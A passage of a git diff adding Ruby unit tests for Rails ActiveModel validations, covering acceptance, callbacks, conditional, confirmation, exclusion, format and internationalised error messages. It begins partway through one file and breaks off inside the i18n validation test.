+    p[:karma] = "excellent"
+    assert p.invalid?
+    assert_equal ["must be blank"], p.errors[:karma]
+    p[:karma] = ""
+    assert p.valid?
+  end
+end
diff --git a/activemodel/test/cases/validations/acceptance_validation_test.rb b/activemodel/test/cases/validations/acceptance_validation_test.rb
new file mode 100644
index 0000000000..c5f54b1868
--- /dev/null
+++ b/activemodel/test/cases/validations/acceptance_validation_test.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+require "models/topic"
+require "models/reply"
+require "models/person"
+
+class AcceptanceValidationTest < ActiveModel::TestCase
+  def teardown
+    Topic.clear_validators!
+  end
+
+  def test_terms_of_service_agreement_no_acceptance
+    Topic.validates_acceptance_of(:terms_of_service)
+
+    t = Topic.new("title" => "We should not be confirmed")
+    assert t.valid?
+  end
+
+  def test_terms_of_service_agreement
+    Topic.validates_acceptance_of(:terms_of_service)
+
+    t = Topic.new("title" => "We should be confirmed", "terms_of_service" => "")
+    assert t.invalid?
+    assert_equal ["must be accepted"], t.errors[:terms_of_service]
+
+    t.terms_of_service = "1"
+    assert t.valid?
+  end
+
+  def test_eula
+    Topic.validates_acceptance_of(:eula, message: "must be abided")
+
+    t = Topic.new("title" => "We should be confirmed", "eula" => "")
+    assert t.invalid?
+    assert_equal ["must be abided"], t.errors[:eula]
+
+    t.eula = "1"
+    assert t.valid?
+  end
+
+  def test_terms_of_service_agreement_with_accept_value
+    Topic.validates_acceptance_of(:terms_of_service, accept: "I agree.")
+
+    t = Topic.new("title" => "We should be confirmed", "terms_of_service" => "")
+    assert t.invalid?
+    assert_equal ["must be accepted"], t.errors[:terms_of_service]
+
+    t.terms_of_service = "I agree."
+    assert t.valid?
+  end
+
+  def test_terms_of_service_agreement_with_multiple_accept_values
+    Topic.validates_acceptance_of(:terms_of_service, accept: [1, "I concur."])
+
+    t = Topic.new("title" => "We should be confirmed", "terms_of_service" => "")
+    assert t.invalid?
+    assert_equal ["must be accepted"], t.errors[:terms_of_service]
+
+    t.terms_of_service = 1
+    assert t.valid?
+
+    t.terms_of_service = "I concur."
+    assert t.valid?
+  end
+
+  def test_validates_acceptance_of_for_ruby_class
+    Person.validates_acceptance_of :karma
+
+    p = Person.new
+    p.karma = ""
+
+    assert p.invalid?
+    assert_equal ["must be accepted"], p.errors[:karma]
+
+    p.karma = "1"
+    assert p.valid?
+  ensure
+    Person.clear_validators!
+  end
+
+  def test_validates_acceptance_of_true
+    Topic.validates_acceptance_of(:terms_of_service)
+
+    assert Topic.new(terms_of_service: true).valid?
+  end
+end
diff --git a/activemodel/test/cases/validations/callbacks_test.rb b/activemodel/test/cases/validations/callbacks_test.rb
new file mode 100644
index 0000000000..d3a9a17a05
--- /dev/null
+++ b/activemodel/test/cases/validations/callbacks_test.rb
@@ -0,0 +1,145 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class Dog
+  include ActiveModel::Validations
+  include ActiveModel::Validations::Callbacks
+
+  attr_accessor :name, :history
+
+  def initialize
+    @history = []
+  end
+end
+
+class DogWithMethodCallbacks < Dog
+  before_validation :set_before_validation_marker
+  after_validation :set_after_validation_marker
+
+  def set_before_validation_marker; history << "before_validation_marker"; end
+  def set_after_validation_marker;  history << "after_validation_marker" ; end
+end
+
+class DogValidatorsAreProc < Dog
+  before_validation { history << "before_validation_marker" }
+  after_validation  { history << "after_validation_marker" }
+end
+
+class DogWithTwoValidators < Dog
+  before_validation { history << "before_validation_marker1" }
+  before_validation { history << "before_validation_marker2" }
+end
+
+class DogBeforeValidatorReturningFalse < Dog
+  before_validation { false }
+  before_validation { history << "before_validation_marker2" }
+end
+
+class DogBeforeValidatorThrowingAbort < Dog
+  before_validation { throw :abort }
+  before_validation { history << "before_validation_marker2" }
+end
+
+class DogAfterValidatorReturningFalse < Dog
+  after_validation { false }
+  after_validation { history << "after_validation_marker" }
+end
+
+class DogWithMissingName < Dog
+  before_validation { history << "before_validation_marker" }
+  validates_presence_of :name
+end
+
+class DogValidatorWithOnCondition < Dog
+  before_validation :set_before_validation_marker, on: :create
+  after_validation :set_after_validation_marker, on: :create
+
+  def set_before_validation_marker; history << "before_validation_marker"; end
+  def set_after_validation_marker;  history << "after_validation_marker" ; end
+end
+
+class DogValidatorWithIfCondition < Dog
+  before_validation :set_before_validation_marker1, if: -> { true }
+  before_validation :set_before_validation_marker2, if: -> { false }
+
+  after_validation :set_after_validation_marker1, if: -> { true }
+  after_validation :set_after_validation_marker2, if: -> { false }
+
+  def set_before_validation_marker1; history << "before_validation_marker1"; end
+  def set_before_validation_marker2; history << "before_validation_marker2" ; end
+
+  def set_after_validation_marker1; history << "after_validation_marker1"; end
+  def set_after_validation_marker2; history << "after_validation_marker2" ; end
+end
+
+class CallbacksWithMethodNamesShouldBeCalled < ActiveModel::TestCase
+  def test_if_condition_is_respected_for_before_validation
+    d = DogValidatorWithIfCondition.new
+    d.valid?
+    assert_equal ["before_validation_marker1", "after_validation_marker1"], d.history
+  end
+
+  def test_on_condition_is_respected_for_validation_with_matching_context
+    d = DogValidatorWithOnCondition.new
+    d.valid?(:create)
+    assert_equal ["before_validation_marker", "after_validation_marker"], d.history
+  end
+
+  def test_on_condition_is_respected_for_validation_without_matching_context
+    d = DogValidatorWithOnCondition.new
+    d.valid?(:save)
+    assert_equal [], d.history
+  end
+
+  def test_on_condition_is_respected_for_validation_without_context
+    d = DogValidatorWithOnCondition.new
+    d.valid?
+    assert_equal [], d.history
+  end
+
+  def test_before_validation_and_after_validation_callbacks_should_be_called
+    d = DogWithMethodCallbacks.new
+    d.valid?
+    assert_equal ["before_validation_marker", "after_validation_marker"], d.history
+  end
+
+  def test_before_validation_and_after_validation_callbacks_should_be_called_with_proc
+    d = DogValidatorsAreProc.new
+    d.valid?
+    assert_equal ["before_validation_marker", "after_validation_marker"], d.history
+  end
+
+  def test_before_validation_and_after_validation_callbacks_should_be_called_in_declared_order
+    d = DogWithTwoValidators.new
+    d.valid?
+    assert_equal ["before_validation_marker1", "before_validation_marker2"], d.history
+  end
+
+  def test_further_callbacks_should_not_be_called_if_before_validation_throws_abort
+    d = DogBeforeValidatorThrowingAbort.new
+    output = d.valid?
+    assert_equal [], d.history
+    assert_equal false, output
+  end
+
+  def test_further_callbacks_should_be_called_if_before_validation_returns_false
+    d = DogBeforeValidatorReturningFalse.new
+    output = d.valid?
+    assert_equal ["before_validation_marker2"], d.history
+    assert_equal true, output
+  end
+
+  def test_further_callbacks_should_be_called_if_after_validation_returns_false
+    d = DogAfterValidatorReturningFalse.new
+    d.valid?
+    assert_equal ["after_validation_marker"], d.history
+  end
+
+  def test_validation_test_should_be_done
+    d = DogWithMissingName.new
+    output = d.valid?
+    assert_equal ["before_validation_marker"], d.history
+    assert_equal false, output
+  end
+end
diff --git a/activemodel/test/cases/validations/conditional_validation_test.rb b/activemodel/test/cases/validations/conditional_validation_test.rb
new file mode 100644
index 0000000000..68dade556c
--- /dev/null
+++ b/activemodel/test/cases/validations/conditional_validation_test.rb
@@ -0,0 +1,149 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+require "models/topic"
+
+class ConditionalValidationTest < ActiveModel::TestCase
+  def teardown
+    Topic.clear_validators!
+  end
+
+  def test_if_validation_using_method_true
+    # When the method returns true
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: :condition_is_true)
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["hoo 5"], t.errors["title"]
+  end
+
+  def test_unless_validation_using_method_true
+    # When the method returns true
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: :condition_is_true)
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.valid?
+    assert_empty t.errors[:title]
+  end
+
+  def test_if_validation_using_method_false
+    # When the method returns false
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: :condition_is_true_but_its_not)
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.valid?
+    assert_empty t.errors[:title]
+  end
+
+  def test_unless_validation_using_method_false
+    # When the method returns false
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: :condition_is_true_but_its_not)
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["hoo 5"], t.errors["title"]
+  end
+
+  def test_if_validation_using_string_true
+    # When the evaluated string returns true
+    ActiveSupport::Deprecation.silence do
+      Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: "a = 1; a == 1")
+    end
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["hoo 5"], t.errors["title"]
+  end
+
+  def test_unless_validation_using_string_true
+    # When the evaluated string returns true
+    ActiveSupport::Deprecation.silence do
+      Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: "a = 1; a == 1")
+    end
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.valid?
+    assert_empty t.errors[:title]
+  end
+
+  def test_if_validation_using_string_false
+    # When the evaluated string returns false
+    ActiveSupport::Deprecation.silence do
+      Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: "false")
+    end
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.valid?
+    assert_empty t.errors[:title]
+  end
+
+  def test_unless_validation_using_string_false
+    # When the evaluated string returns false
+    ActiveSupport::Deprecation.silence do
+      Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: "false")
+    end
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["hoo 5"], t.errors["title"]
+  end
+
+  def test_if_validation_using_block_true
+    # When the block returns true
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
+      if: Proc.new { |r| r.content.size > 4 })
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["hoo 5"], t.errors["title"]
+  end
+
+  def test_unless_validation_using_block_true
+    # When the block returns true
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
+      unless: Proc.new { |r| r.content.size > 4 })
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.valid?
+    assert_empty t.errors[:title]
+  end
+
+  def test_if_validation_using_block_false
+    # When the block returns false
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
+      if: Proc.new { |r| r.title != "uhohuhoh" })
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.valid?
+    assert_empty t.errors[:title]
+  end
+
+  def test_unless_validation_using_block_false
+    # When the block returns false
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
+      unless: Proc.new { |r| r.title != "uhohuhoh" })
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["hoo 5"], t.errors["title"]
+  end
+
+  # previous implementation of validates_presence_of eval'd the
+  # string with the wrong binding, this regression test is to
+  # ensure that it works correctly
+  def test_validation_with_if_as_string
+    Topic.validates_presence_of(:title)
+    ActiveSupport::Deprecation.silence do
+      Topic.validates_presence_of(:author_name, if: "title.to_s.match('important')")
+    end
+
+    t = Topic.new
+    assert t.invalid?, "A topic without a title should not be valid"
+    assert_empty t.errors[:author_name], "A topic without an 'important' title should not require an author"
+
+    t.title = "Just a title"
+    assert t.valid?, "A topic with a basic title should be valid"
+
+    t.title = "A very important title"
+    assert t.invalid?, "A topic with an important title, but without an author, should not be valid"
+    assert t.errors[:author_name].any?, "A topic with an 'important' title should require an author"
+
+    t.author_name = "Hubert J. Farnsworth"
+    assert t.valid?, "A topic with an important title and author should be valid"
+  end
+end
diff --git a/activemodel/test/cases/validations/confirmation_validation_test.rb b/activemodel/test/cases/validations/confirmation_validation_test.rb
new file mode 100644
index 0000000000..e84415a868
--- /dev/null
+++ b/activemodel/test/cases/validations/confirmation_validation_test.rb
@@ -0,0 +1,121 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+require "models/topic"
+require "models/person"
+
+class ConfirmationValidationTest < ActiveModel::TestCase
+  def teardown
+    Topic.clear_validators!
+  end
+
+  def test_no_title_confirmation
+    Topic.validates_confirmation_of(:title)
+
+    t = Topic.new(author_name: "Plutarch")
+    assert t.valid?
+
+    t.title_confirmation = "Parallel Lives"
+    assert t.invalid?
+
+    t.title_confirmation = nil
+    t.title = "Parallel Lives"
+    assert t.valid?
+
+    t.title_confirmation = "Parallel Lives"
+    assert t.valid?
+  end
+
+  def test_title_confirmation
+    Topic.validates_confirmation_of(:title)
+
+    t = Topic.new("title" => "We should be confirmed", "title_confirmation" => "")
+    assert t.invalid?
+
+    t.title_confirmation = "We should be confirmed"
+    assert t.valid?
+  end
+
+  def test_validates_confirmation_of_for_ruby_class
+    Person.validates_confirmation_of :karma
+
+    p = Person.new
+    p.karma_confirmation = "None"
+    assert p.invalid?
+
+    assert_equal ["doesn't match Karma"], p.errors[:karma_confirmation]
+
+    p.karma = "None"
+    assert p.valid?
+  ensure
+    Person.clear_validators!
+  end
+
+  def test_title_confirmation_with_i18n_attribute
+    begin
+      @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
+      I18n.load_path.clear
+      I18n.backend = I18n::Backend::Simple.new
+      I18n.backend.store_translations("en",
+        errors: { messages: { confirmation: "doesn't match %{attribute}" } },
+        activemodel: { attributes: { topic: { title: "Test Title" } } })
+
+      Topic.validates_confirmation_of(:title)
+
+      t = Topic.new("title" => "We should be confirmed", "title_confirmation" => "")
+      assert t.invalid?
+      assert_equal ["doesn't match Test Title"], t.errors[:title_confirmation]
+    ensure
+      I18n.load_path.replace @old_load_path
+      I18n.backend = @old_backend
+      I18n.backend.reload!
+    end
+  end
+
+  test "does not override confirmation reader if present" do
+    klass = Class.new do
+      include ActiveModel::Validations
+
+      def title_confirmation
+        "expected title"
+      end
+
+      validates_confirmation_of :title
+    end
+
+    assert_equal "expected title", klass.new.title_confirmation,
+     "confirmation validation should not override the reader"
+  end
+
+  test "does not override confirmation writer if present" do
+    klass = Class.new do
+      include ActiveModel::Validations
+
+      def title_confirmation=(value)
+        @title_confirmation = "expected title"
+      end
+
+      validates_confirmation_of :title
+    end
+
+    model = klass.new
+    model.title_confirmation = "new title"
+    assert_equal "expected title", model.title_confirmation,
+     "confirmation validation should not override the writer"
+  end
+
+  def test_title_confirmation_with_case_sensitive_option_true
+    Topic.validates_confirmation_of(:title, case_sensitive: true)
+
+    t = Topic.new(title: "title", title_confirmation: "Title")
+    assert t.invalid?
+  end
+
+  def test_title_confirmation_with_case_sensitive_option_false
+    Topic.validates_confirmation_of(:title, case_sensitive: false)
+
+    t = Topic.new(title: "title", title_confirmation: "Title")
+    assert t.valid?
+  end
+end
diff --git a/activemodel/test/cases/validations/exclusion_validation_test.rb b/activemodel/test/cases/validations/exclusion_validation_test.rb
new file mode 100644
index 0000000000..68d611e904
--- /dev/null
+++ b/activemodel/test/cases/validations/exclusion_validation_test.rb
@@ -0,0 +1,109 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/core_ext/numeric/time"
+
+require "models/topic"
+require "models/person"
+
+class ExclusionValidationTest < ActiveModel::TestCase
+  def teardown
+    Topic.clear_validators!
+  end
+
+  def test_validates_exclusion_of
+    Topic.validates_exclusion_of(:title, in: %w( abe monkey ))
+
+    assert Topic.new("title" => "something", "content" => "abc").valid?
+    assert Topic.new("title" => "monkey", "content" => "abc").invalid?
+  end
+
+  def test_validates_exclusion_of_with_formatted_message
+    Topic.validates_exclusion_of(:title, in: %w( abe monkey ), message: "option %{value} is restricted")
+
+    assert Topic.new("title" => "something", "content" => "abc")
+
+    t = Topic.new("title" => "monkey")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["option monkey is restricted"], t.errors[:title]
+  end
+
+  def test_validates_exclusion_of_with_within_option
+    Topic.validates_exclusion_of(:title, within: %w( abe monkey ))
+
+    assert Topic.new("title" => "something", "content" => "abc")
+
+    t = Topic.new("title" => "monkey")
+    assert t.invalid?
+    assert t.errors[:title].any?
+  end
+
+  def test_validates_exclusion_of_for_ruby_class
+    Person.validates_exclusion_of :karma, in: %w( abe monkey )
+
+    p = Person.new
+    p.karma = "abe"
+    assert p.invalid?
+
+    assert_equal ["is reserved"], p.errors[:karma]
+
+    p.karma = "Lifo"
+    assert p.valid?
+  ensure
+    Person.clear_validators!
+  end
+
+  def test_validates_exclusion_of_with_lambda
+    Topic.validates_exclusion_of :title, in: lambda { |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
+
+    t = Topic.new
+    t.title = "elephant"
+    t.author_name = "sikachu"
+    assert t.invalid?
+
+    t.title = "wasabi"
+    assert t.valid?
+  end
+
+  def test_validates_exclusion_of_with_range
+    Topic.validates_exclusion_of :content, in: ("a".."g")
+
+    assert Topic.new(content: "g").invalid?
+    assert Topic.new(content: "h").valid?
+  end
+
+  def test_validates_exclusion_of_with_time_range
+    Topic.validates_exclusion_of :created_at, in: 6.days.ago..2.days.ago
+
+    assert Topic.new(created_at: 5.days.ago).invalid?
+    assert Topic.new(created_at: 3.days.ago).invalid?
+    assert Topic.new(created_at: 7.days.ago).valid?
+    assert Topic.new(created_at: 1.day.ago).valid?
+  end
+
+  def test_validates_inclusion_of_with_symbol
+    Person.validates_exclusion_of :karma, in: :reserved_karmas
+
+    p = Person.new
+    p.karma = "abe"
+
+    def p.reserved_karmas
+      %w(abe)
+    end
+
+    assert p.invalid?
+    assert_equal ["is reserved"], p.errors[:karma]
+
+    p = Person.new
+    p.karma = "abe"
+
+    def p.reserved_karmas
+      %w()
+    end
+
+    assert p.valid?
+  ensure
+    Person.clear_validators!
+  end
+end
diff --git a/activemodel/test/cases/validations/format_validation_test.rb b/activemodel/test/cases/validations/format_validation_test.rb
new file mode 100644
index 0000000000..3ddda2154a
--- /dev/null
+++ b/activemodel/test/cases/validations/format_validation_test.rb
@@ -0,0 +1,149 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+require "models/topic"
+require "models/person"
+
+class PresenceValidationTest < ActiveModel::TestCase
+  def teardown
+    Topic.clear_validators!
+  end
+
+  def test_validate_format
+    Topic.validates_format_of(:title, :content, with: /\AValidation\smacros \w+!\z/, message: "is bad data")
+
+    t = Topic.new("title" => "i'm incorrect", "content" => "Validation macros rule!")
+    assert t.invalid?, "Shouldn't be valid"
+    assert_equal ["is bad data"], t.errors[:title]
+    assert t.errors[:content].empty?
+
+    t.title = "Validation macros rule!"
+
+    assert t.valid?
+    assert t.errors[:title].empty?
+
+    assert_raise(ArgumentError) { Topic.validates_format_of(:title, :content) }
+  end
+
+  def test_validate_format_with_allow_blank
+    Topic.validates_format_of(:title, with: /\AValidation\smacros \w+!\z/, allow_blank: true)
+    assert Topic.new("title" => "Shouldn't be valid").invalid?
+    assert Topic.new("title" => "").valid?
+    assert Topic.new("title" => nil).valid?
+    assert Topic.new("title" => "Validation macros rule!").valid?
+  end
+
+  # testing ticket #3142
+  def test_validate_format_numeric
+    Topic.validates_format_of(:title, :content, with: /\A[1-9][0-9]*\z/, message: "is bad data")
+
+    t = Topic.new("title" => "72x", "content" => "6789")
+    assert t.invalid?, "Shouldn't be valid"
+
+    assert_equal ["is bad data"], t.errors[:title]
+    assert t.errors[:content].empty?
+
+    t.title = "-11"
+    assert t.invalid?, "Shouldn't be valid"
+
+    t.title = "03"
+    assert t.invalid?, "Shouldn't be valid"
+
+    t.title = "z44"
+    assert t.invalid?, "Shouldn't be valid"
+
+    t.title = "5v7"
+    assert t.invalid?, "Shouldn't be valid"
+
+    t.title = "1"
+
+    assert t.valid?
+    assert t.errors[:title].empty?
+  end
+
+  def test_validate_format_with_formatted_message
+    Topic.validates_format_of(:title, with: /\AValid Title\z/, message: "can't be %{value}")
+    t = Topic.new(title: "Invalid title")
+    assert t.invalid?
+    assert_equal ["can't be Invalid title"], t.errors[:title]
+  end
+
+  def test_validate_format_of_with_multiline_regexp_should_raise_error
+    assert_raise(ArgumentError) { Topic.validates_format_of(:title, with: /^Valid Title$/) }
+  end
+
+  def test_validate_format_of_with_multiline_regexp_and_option
+    assert_nothing_raised do
+      Topic.validates_format_of(:title, with: /^Valid Title$/, multiline: true)
+    end
+  end
+
+  def test_validate_format_with_not_option
+    Topic.validates_format_of(:title, without: /foo/, message: "should not contain foo")
+    t = Topic.new
+
+    t.title = "foobar"
+    t.valid?
+    assert_equal ["should not contain foo"], t.errors[:title]
+
+    t.title = "something else"
+    t.valid?
+    assert_equal [], t.errors[:title]
+  end
+
+  def test_validate_format_of_without_any_regexp_should_raise_error
+    assert_raise(ArgumentError) { Topic.validates_format_of(:title) }
+  end
+
+  def test_validates_format_of_with_both_regexps_should_raise_error
+    assert_raise(ArgumentError) { Topic.validates_format_of(:title, with: /this/, without: /that/) }
+  end
+
+  def test_validates_format_of_when_with_isnt_a_regexp_should_raise_error
+    assert_raise(ArgumentError) { Topic.validates_format_of(:title, with: "clearly not a regexp") }
+  end
+
+  def test_validates_format_of_when_not_isnt_a_regexp_should_raise_error
+    assert_raise(ArgumentError) { Topic.validates_format_of(:title, without: "clearly not a regexp") }
+  end
+
+  def test_validates_format_of_with_lambda
+    Topic.validates_format_of :content, with: lambda { |topic| topic.title == "digit" ? /\A\d+\z/ : /\A\S+\z/ }
+
+    t = Topic.new
+    t.title = "digit"
+    t.content = "Pixies"
+    assert t.invalid?
+
+    t.content = "1234"
+    assert t.valid?
+  end
+
+  def test_validates_format_of_without_lambda
+    Topic.validates_format_of :content, without: lambda { |topic| topic.title == "characters" ? /\A\d+\z/ : /\A\S+\z/ }
+
+    t = Topic.new
+    t.title = "characters"
+    t.content = "1234"
+    assert t.invalid?
+
+    t.content = "Pixies"
+    assert t.valid?
+  end
+
+  def test_validates_format_of_for_ruby_class
+    Person.validates_format_of :karma, with: /\A\d+\z/
+
+    p = Person.new
+    p.karma = "Pixies"
+    assert p.invalid?
+
+    assert_equal ["is invalid"], p.errors[:karma]
+
+    p.karma = "1234"
+    assert p.valid?
+  ensure
+    Person.clear_validators!
+  end
+end
diff --git a/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
new file mode 100644
index 0000000000..d3e44945db
--- /dev/null
+++ b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -0,0 +1,152 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+require "models/person"
+
+class I18nGenerateMessageValidationTest < ActiveModel::TestCase
+  def setup
+    Person.clear_validators!
+    @person = Person.new
+  end
+
+  # validates_inclusion_of: generate_message(attr_name, :inclusion, message: custom_message, value: value)
+  def test_generate_message_inclusion_with_default_message
+    assert_equal "is not included in the list", @person.errors.generate_message(:title, :inclusion, value: "title")
+  end
+
+  def test_generate_message_inclusion_with_custom_message
+    assert_equal "custom message title", @person.errors.generate_message(:title, :inclusion, message: "custom message %{value}", value: "title")
+  end
+
+  # validates_exclusion_of: generate_message(attr_name, :exclusion, message: custom_message, value: value)
+  def test_generate_message_exclusion_with_default_message
+    assert_equal "is reserved", @person.errors.generate_message(:title, :exclusion, value: "title")
+  end
+
+  def test_generate_message_exclusion_with_custom_message
+    assert_equal "custom message title", @person.errors.generate_message(:title, :exclusion, message: "custom message %{value}", value: "title")
+  end
+
+  # validates_format_of:  generate_message(attr_name, :invalid, message: custom_message, value: value)
+  def test_generate_message_invalid_with_default_message
+    assert_equal "is invalid", @person.errors.generate_message(:title, :invalid, value: "title")
+  end
+
+  def test_generate_message_invalid_with_custom_message
+    assert_equal "custom message title", @person.errors.generate_message(:title, :invalid, message: "custom message %{value}", value: "title")
+  end
+
+  # validates_confirmation_of: generate_message(attr_name, :confirmation, message: custom_message)
+  def test_generate_message_confirmation_with_default_message
+    assert_equal "doesn't match Title", @person.errors.generate_message(:title, :confirmation)
+  end
+
+  def test_generate_message_confirmation_with_custom_message
+    assert_equal "custom message", @person.errors.generate_message(:title, :confirmation, message: "custom message")
+  end
+
+  # validates_acceptance_of: generate_message(attr_name, :accepted, message: custom_message)
+  def test_generate_message_accepted_with_default_message
+    assert_equal "must be accepted", @person.errors.generate_message(:title, :accepted)
+  end
+
+  def test_generate_message_accepted_with_custom_message
+    assert_equal "custom message", @person.errors.generate_message(:title, :accepted, message: "custom message")
+  end
+
+  # add_on_empty: generate_message(attr, :empty, message: custom_message)
+  def test_generate_message_empty_with_default_message
+    assert_equal "can't be empty", @person.errors.generate_message(:title, :empty)
+  end
+
+  def test_generate_message_empty_with_custom_message
+    assert_equal "custom message", @person.errors.generate_message(:title, :empty, message: "custom message")
+  end
+
+  # validates_presence_of: generate_message(attr, :blank, message: custom_message)
+  def test_generate_message_blank_with_default_message
+    assert_equal "can't be blank", @person.errors.generate_message(:title, :blank)
+  end
+
+  def test_generate_message_blank_with_custom_message
+    assert_equal "custom message", @person.errors.generate_message(:title, :blank, message: "custom message")
+  end
+
+  # validates_length_of: generate_message(attr, :too_long, message: custom_message, count: option_value.end)
+  def test_generate_message_too_long_with_default_message_plural
+    assert_equal "is too long (maximum is 10 characters)", @person.errors.generate_message(:title, :too_long, count: 10)
+  end
+
+  def test_generate_message_too_long_with_default_message_singular
+    assert_equal "is too long (maximum is 1 character)", @person.errors.generate_message(:title, :too_long, count: 1)
+  end
+
+  def test_generate_message_too_long_with_custom_message
+    assert_equal "custom message 10", @person.errors.generate_message(:title, :too_long, message: "custom message %{count}", count: 10)
+  end
+
+  # validates_length_of: generate_message(attr, :too_short, default: custom_message, count: option_value.begin)
+  def test_generate_message_too_short_with_default_message_plural
+    assert_equal "is too short (minimum is 10 characters)", @person.errors.generate_message(:title, :too_short, count: 10)
+  end
+
+  def test_generate_message_too_short_with_default_message_singular
+    assert_equal "is too short (minimum is 1 character)", @person.errors.generate_message(:title, :too_short, count: 1)
+  end
+
+  def test_generate_message_too_short_with_custom_message
+    assert_equal "custom message 10", @person.errors.generate_message(:title, :too_short, message: "custom message %{count}", count: 10)
+  end
+
+  # validates_length_of: generate_message(attr, :wrong_length, message: custom_message, count: option_value)
+  def test_generate_message_wrong_length_with_default_message_plural
+    assert_equal "is the wrong length (should be 10 characters)", @person.errors.generate_message(:title, :wrong_length, count: 10)
+  end
+
+  def test_generate_message_wrong_length_with_default_message_singular
+    assert_equal "is the wrong length (should be 1 character)", @person.errors.generate_message(:title, :wrong_length, count: 1)
+  end
+
+  def test_generate_message_wrong_length_with_custom_message
+    assert_equal "custom message 10", @person.errors.generate_message(:title, :wrong_length, message: "custom message %{count}", count: 10)
+  end
+
+  # validates_numericality_of: generate_message(attr_name, :not_a_number, value: raw_value, message: custom_message)
+  def test_generate_message_not_a_number_with_default_message
+    assert_equal "is not a number", @person.errors.generate_message(:title, :not_a_number, value: "title")
+  end
+
+  def test_generate_message_not_a_number_with_custom_message
+    assert_equal "custom message title", @person.errors.generate_message(:title, :not_a_number, message: "custom message %{value}", value: "title")
+  end
+
+  # validates_numericality_of: generate_message(attr_name, option, value: raw_value, default: custom_message)
+  def test_generate_message_greater_than_with_default_message
+    assert_equal "must be greater than 10", @person.errors.generate_message(:title, :greater_than, value: "title", count: 10)
+  end
+
+  def test_generate_message_greater_than_or_equal_to_with_default_message
+    assert_equal "must be greater than or equal to 10", @person.errors.generate_message(:title, :greater_than_or_equal_to, value: "title", count: 10)
+  end
+
+  def test_generate_message_equal_to_with_default_message
+    assert_equal "must be equal to 10", @person.errors.generate_message(:title, :equal_to, value: "title", count: 10)
+  end
+
+  def test_generate_message_less_than_with_default_message
+    assert_equal "must be less than 10", @person.errors.generate_message(:title, :less_than, value: "title", count: 10)
+  end
+
+  def test_generate_message_less_than_or_equal_to_with_default_message
+    assert_equal "must be less than or equal to 10", @person.errors.generate_message(:title, :less_than_or_equal_to, value: "title", count: 10)
+  end
+
+  def test_generate_message_odd_with_default_message
+    assert_equal "must be odd", @person.errors.generate_message(:title, :odd, value: "title", count: 10)
+  end
+
+  def test_generate_message_even_with_default_message
+    assert_equal "must be even", @person.errors.generate_message(:title, :even, value: "title", count: 10)
+  end
+end
diff --git a/activemodel/test/cases/validations/i18n_validation_test.rb b/activemodel/test/cases/validations/i18n_validation_test.rb
new file mode 100644
index 0000000000..9cfe189d0e
--- /dev/null
+++ b/activemodel/test/cases/validations/i18n_validation_test.rb
@@ -0,0 +1,344 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/person"
+
+class I18nValidationTest < ActiveModel::TestCase
+  def setup
+    Person.clear_validators!
+    @person = Person.new
+
+    @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
+    I18n.load_path.clear
+    I18n.backend = I18n::Backend::Simple.new
+    I18n.backend.store_translations("en", errors: { messages: { custom: nil } })
+  end
+
+  def teardown
+    Person.clear_validators!
+    I18n.load_path.replace @old_load_path
+    I18n.backend = @old_backend
+    I18n.backend.reload!
+  end
+
+  def test_full_message_encoding
+    I18n.backend.store_translations("en", errors: {
+      messages: { too_short: "猫舌" } })
+    Person.validates_length_of :title, within: 3..5
+    @person.valid?
+    assert_equal ["Title 猫舌"], @person.errors.full_messages
+  end
+
+  def test_errors_full_messages_translates_human_attribute_name_for_model_attributes
+    @person.errors.add(:name, "not found")
+    assert_called_with(Person, :human_attribute_name, [:name, default: "Name"], returns: "Person's name") do
+      assert_equal ["Person's name not found"], @person.errors.full_messages
+    end
+  end
+
+  def test_errors_full_messages_uses_format
+    I18n.backend.store_translations("en", errors: { format: "Field %{attribute} %{message}" })
